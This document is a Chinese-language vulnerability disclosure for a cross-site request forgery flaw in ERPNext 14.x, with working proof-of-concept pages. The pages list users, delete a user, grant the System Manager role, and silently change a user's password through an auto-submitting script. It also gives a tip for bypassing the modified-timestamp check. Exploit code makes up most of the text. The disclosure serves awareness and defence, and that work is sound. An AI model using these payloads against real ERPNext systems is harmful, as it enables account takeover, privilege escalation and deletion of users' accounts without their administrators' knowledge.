在 ERPNext 14.82.1 和 14.74.3 中发现了一个跨站请求伪造 (CSRF) 漏洞，允许攻击者执行未授权操作，例如：
该漏洞源于关键管理 API 端点缺乏 CSRF 保护。如果经过身份验证的管理员访问恶意网站，其会话将被滥用，从而在未经同意的情况下执行这些操作。
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Click to delete user
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
Add "System Manager" role to user
</a>
💡 完整 JSON payload 请参见仓库：
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
function performCSRF() {
// Target API URL
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// JSON Payload
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Create and submit the form
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Correct parameter name
input.value = encodedPayload; // Correct encoding
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Correct parameter name
input2.value = "Save"; // Correct encoding
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Execute CSRF after waiting to ensure cookies are set
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
该图片模拟了管理员进入任何恶意网站：
注意：如果修改时间戳较旧，网站可能会显示此消息：
要绕过它，请使用 http://localhost:8080/api/resource/User/[email protected][owner] HTML 页面并获取修改时间戳（以便于 PoC）。
将其更改为页面内容中较新的时间戳：
发送后，它将更改用户的密码！！。
如果经过身份验证的管理员用户访问此网页，其会话将用于执行修改账户密码的请求，无需任何用户交互。
攻击者托管一个恶意页面。如果 ERPNext 管理员在登录状态下访问该页面，其浏览器会自动向 ERPNext 发送精心构造的请求，从而导致账户被修改或删除，而管理员毫不知情。
GET 请求执行保存/删除等操作SameSite=Strict由 Ahmed Thaiban Thvt0ne 发现。
本研究仅用于防御目的。其目标是提高安全意识并鼓励采用安全的开发实践。